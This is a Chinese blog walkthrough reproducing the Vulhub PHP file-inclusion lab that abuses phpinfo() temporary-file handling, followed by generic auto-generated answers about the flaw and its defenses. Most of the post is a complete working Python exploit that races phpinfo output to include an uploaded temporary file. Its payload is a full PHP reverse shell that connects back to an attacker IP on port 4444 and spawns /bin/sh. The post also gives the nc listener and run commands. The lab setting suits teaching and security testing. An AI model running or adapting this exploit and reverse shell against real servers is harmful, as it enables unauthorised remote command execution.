vulhub PHP文件包含漏洞(利用phpinfo)复现

该文章介绍了如何利用PHP文件包含漏洞来上传木马、读取敏感信息及执行系统命令。首先,解释了漏洞的原理,即通过phpinfo上传文件并利用PHP的临时文件机制。然后,展示了如何设置靶场环境,使用Docker启动Vulhub靶场。接着,文章提供了复现漏洞的步骤和构造反射shell脚本的过程。最后,通过KaliLinux的nc工具监听端口,并在Win10攻击机上运行脚本来实现远程控制。
摘要由CSDN通过智能技术生成

漏洞介绍

漏洞危害

上传木马、读取敏感信息、执行系统命令等

漏洞原理

利用phpinfo上传文件,在给php的特殊机制,在给PHP发送POST数据包时,会将该文件保存在一个临时文件中,在请求结束后删除。但是在发送含有webshell的上传数据包给phpinfo时,将这个数据包的header、get等位置塞满垃圾数据后,phpinfo将变得非常大。而PHP默认一次读取4096字节的数据给socket。所以只要在socket在读取第一个数据时,上传第二个文件,则第二个文件生成的临时文件将不会被删除。利用时间差包含临时文件来getshell。

环境搭建

通过docker启动vulhub靶场中的PHP文件包含靶场

cd /vulhub/php/inclusion
docker-compose up -d

docker ps

 漏洞复现

复现环境

靶机:192.168.111.147:8080(Ubuntu)

攻击机:192.168.111.128(kali)、192.168.111.1(win 10)

通过lfi.php文件进行文件包含

 

可以验证存在文件包含漏洞

漏洞利用

构建反射shell脚本

  1. 下载exp:vulhub/exp.py at master · vulhub/vulhub · GitHub
  2. 将exp中的php脚本换为反射shell脚本,如下
#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.111.128';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
 
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
 
?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

打开kali中的nc工具

使用nc监听4444端口

通过win10攻击机上传脚本

//脚本格式 脚本位置                         靶机IP     靶机端口 线程
python D:\桌面\文件\phpInclusion_exp.py 192.168.111.147 8080 100

 kali上线成功

执行系统命令

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: PHP文件包含漏洞是一种常见的Web安全漏洞,攻击者可以利用漏洞通过包含恶意文件来执行任意代码。其中,利用phpinfo函数可以获取服务器的详细信息,包括PHP版本、操作系统、配置文件路径等,攻击者可以利用这些信息来进一步攻击服务器。因此,对于PHP文件包含漏洞,我们需要及时修复漏洞并加强服务器的安全防护措施,以保障网站的安全性。 ### 回答2: php文件包含漏洞是一种常见的Web应用程序漏洞,它允许攻击者在没有正常访问权限的情况下获取Web应用程序的敏感数据和系统资源。利用phpinfo函数,攻击者可以获得关于Web服务器和PHP环境的详细信息,包括内存使用情况、PHP模块的版本、系统路径、配置文件名等等,这些信息可用于进一步攻击或收集有关系统的信息。 通常情况下,php文件包含漏洞产生的原因是由于Web应用程序没有正确的过滤和验证用户输入,并允许用户传递文件名或路径。如果攻击者可以在该位置输入恶意代码,他们就可以通过访问特定的URL,向web服务器请求文件或脚本来执行所需的操作。 对于php文件包含漏洞,攻击者可以利用phpinfo函数来获取大量有关Web服务器和PHP配置的信息。如果攻击者可以获取此信息,他们将更容易地了解Web服务器的配置和缺陷,从而定向和更容易地入侵目标系统。例如,攻击者可以使用所收集到的信息来寻找系统上的其他漏洞,或者在成功入侵后利用该信息来控制服务器,尝试使用系统权限执行任意代码或更改配置。 为了保护Web应用程序安全,我们可以采取以下措施来防止php文件包含漏洞的发生: 1. 使用安全的编程实践来避免不可信数据输入 2. 防止对敏感资源和服务器配置文件的读取 3. 激活PHP配置参数,如open_basedir,以限制PHP访问的目录 4. 限制Web服务器的目录访问权限 5. 定期检查服务器日志来检测异常行为和攻击行为 6. 采用安全的编程方法避免可能的错误,并保持对最新漏洞安全威胁的关注 php文件包含漏洞可能会导致非常严重的安全问题,所以应采取有效的措施来保护Web应用程序和服务器的安全。通过实践良好的编程实践和安全性控制策略,可以帮助我们保护Web应用程序不受恶意攻击的影响,从而确保我们的数据和系统的安全性。 ### 回答3: PHP文件包含漏洞是一种常见的网络安全漏洞。它的存在导致黑客可以利用这个漏洞通过访问包含文件来执行任意代码并控制整个服务器。 PHP文件包含漏洞的根源在于PHP提供了一种方便的方式来包含另一个文件中的代码,这种方式是通过 include() 或 require() 函数实现的。这些函数接受一个文件名作为参数,然后将该文件中的代码“拷贝并粘贴”到当前的PHP文件中。这个机制的漏洞是黑客可以通过传递带有恶意代码的参数来包含任意文件,这可能是远程服务器上的PHP脚本,也可能是包含恶意代码的本地文件。 PHPInfo是一个php的系统信息函数,负责显示PHP配置和环境信息。这里,黑客可以利用PHPInfo来寻找服务器的弱点,并进一步利用php文件包含漏洞。通过读入php.ini一个配置文件,该函数可以泄漏服务器的所有信息,包括文件路径、数据库密码、服务器版本、PHP版本等等。 黑客可以通过以下步骤来利用php文件包含漏洞phpinfo()函数进一步渗透服务器: 1. 使用phpinfo()函数来获取服务器的系统信息和配置信息 2. 解析得到的信息,寻找PHP文件包含漏洞的存在 3. 通过向include()或require()函数传递恶意文件来执行任意代码并控制服务器 为了避免这些漏洞PHP开发者应该始终验证来自用户的输入。对于文件包含,应该限制包含文件的范围,禁止包含远程文件,并使用白名单来确定包含文件的位置。同时,应该禁用phpinfo()函数或者确保它只在受信任的环境中使用。 维护者还可以使用一些工具例如模糊测试技术、代码审计等来发现并修复这些漏洞。实施彻底的安全措施对于预防这些漏洞的产生非常重要。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值